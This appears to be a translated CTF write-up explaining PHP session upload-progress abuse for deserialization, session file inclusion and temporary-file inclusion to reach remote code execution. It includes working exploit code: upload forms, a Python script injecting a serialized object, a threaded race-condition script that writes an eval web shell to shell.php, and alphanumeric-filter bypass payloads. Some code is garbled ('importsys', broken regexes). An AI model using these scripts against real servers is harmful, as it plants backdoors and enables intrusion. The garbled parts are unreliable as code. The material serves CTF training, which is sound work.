session file inclusion, deserialization and temporary file rce

Detailed explanation of the principle

ctfshow web 263

ctfshow Novice Cup Rock Paper Scissors

Here we can find that the processor used by the server is php_serialize, which is different from the current page processor and will cause some problems during deserialization. At the same time, the cleanup configuration is not enabled and automatic session cleaning is turned off, so we do not need to perform conditional competition. And we can pass our deserialization string through the session upload progress. Let’s look at the classes we mainly use.

If session.auto_start=On, PHP will automatically initialize the Session when receiving the request, and there is no need to execute session_start(). But by default, this option is turned off.

But session also has a default option, and the default value of session.use_strict_mode is 0. At this time, users can define the Session ID themselves. For example, if we set PHPSESSID=TGAO in Cookie, PHP will create a file on the server: /tmp/sess_TGAO”. Even if the user does not initialize the Session at this time, PHP will automatically initialize the Session. And generate a key value,This key value is composed of ini.get(“session.upload_progress.prefix”) + the session.upload_progress.name value we constructed, and is finally written to the sess_ file.

1. Run online to get the message

<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

2. Then upload the file, capture the packet, change the data packet, and modify the file name to the serialized string

<?php
class Game{
    public $log;
    public function __construct(){
        $this->log = "/var/www/html/flag.php";
    }
}
$a=new Game();
echo serialize($a);
#|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

Note that the deserialized string is placed at the position of the file name and is used as a key value.

Or use python to send the package

import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)

Using session.upload_progress for file inclusion and deserialization penetration

php_serialize: a:1:{s:5:”good”;s:3:”good1″;}

php: good|s:3:”good1″;

PHP_SESSION_UPLOAD_PROGRESS for file inclusion (detailed steps conditional competition)

1After php5.4, php.ini begins to have several default options
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off

> We can use session.upload_progress to write the Trojan into the session file, and then include the session file. But the premise is that we need to create a session file and know where the session file is stored. Because session.use_strict_mode=off, we can customize the sessionID
> The general default storage location of session files in Linux systems is /tmp or /var/lib/php/session
> For example, if we set PHPSESSID=flag in Cookie, PHP will create the file: /tmp/sess_flag on the server. Even if the user does not initialize the session at this time, PHP will automatically initialize the Session.
> And generate a key value, which is the value of prefix + name, and finally written to the sess_ file
> Another key point is that session.upload_progress.cleanup is enabled by default. As long as the post data is read, the progress information will be cleared, so we need to use conditional competition to pass and write a script to complete it.

2. Conditional competition Include SESSION file

filtered. We must include files without suffix
Use session.upload_progress for file inclusion and deserialization penetration. The only suffix-free session that can be controlled in PHP
Control file name /tmp/sess_aaa

Conditions of use:

  • Find the controllable variables in the Session
  • Session files are readable and writable, and the storage path is known

The saving path of php’s session file can be seen in session.save_path of phpinfo

Find the location where the session file is stored in phpinfo, or guess a common location:

  • /var/lib/php/sess_PHPSESSID

  • /var/lib/php/sess_PHPSESSID

  • /tmp/sess_PHPSESSID (most common)

  • /tmp/sessions/sess_PHPSESSID

Session file format: sess_[phpsessid], and phpsessid can be seen in the cookie field of the request sent. By controlling cookies, we can control the session file accessed during session_start, so as to serialize and deserialize specific file contents.

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "?", $file);
    $file = str_replace("data", "?", $file);
    $file = str_replace(":", "?", $file);
    $file = str_replace(".", "?", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

python script enter shell.php and execute cmd

import io
importsys
import requests
import threading
 
 
host = "http://3e77e1cd-842a-43c8-90d4-58b0f5c394d9.node4.buuoj.cn:81/flflflflag.php"
sessid = 'snowy'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file": ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
 
        )
def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[ + + + ]retry')
        else:
            print(response.text)
            sys.exit(0)
 
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

3.Include temporary files

Competing through conditions. When we can’t find a valid file to trigger RCE, if we can access phpinfo (which can tell us the randomly generated file name of the temporary file and its location) (and if the processing logic of the server backend is to upload first and then detect, and Instead of detecting first and then uploading), we could probably include a temporary file and use it to upgrade to RCE.

Method of Utilization: P Shenwu Alphanumeric Webshell can be improved by sending a POST package to upload a file. As long as PHP receives the uploaded POST request (the temporary file will be deleted after the request is completed), it will Save the file we uploaded in a temporary folder. The default file name is /tmp/phpXXXXXX. The last 6 characters of the file name are random upper and lower case. Letters and numbers

The sample question source code has filtered numbers and letters but not filtered. Execute the command through system

 <?php
// Are you showing off your skills?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\$|\(|\{|'|"|\`|\%|\x09|\x26|\> |\</i", $c)){
        system($c); //To execute the function system, you can directly use ./tmp/xxxxxxxxx to run the file
    }
}else{
    highlight_file(__FILE__);
} 

(1)Write a post upload form

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST packet POC</title>
</head>
<body>
<form action="http://99da1d95-7eb6-468a-b044-cf1b1b5b393d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--Destination URL-->
    <label for="file">File name:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="Submit">
</form>
</body>
</html>

(2) You can use . to execute any script under the shell. The shell program must start with “#!/bin/sh”. #!/bin/sh means that this script uses /bin /sh to interpret and execute, #! is a special indicator, followed by the path of the shell that interprets this script

?c=. /?/?[@-[]
If you are uploading a php file, a blank line is required between the following two sentences.
#!/bin/sh
ls

(2) If the execution function is eval, you need to close the php tag with ?>

?> Used to close the beginning of php

 <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$] + /",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\ & amp;|\*|\(|\)|\(|\)|\-|\_| \{|\}|\[|\]|'|"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>
POST /?cmd=?><?=`. + /p/p?p`; HTTP/1.1
Since [ and @ are filtered and p is not filtered, the letter p needs to be used to lock the file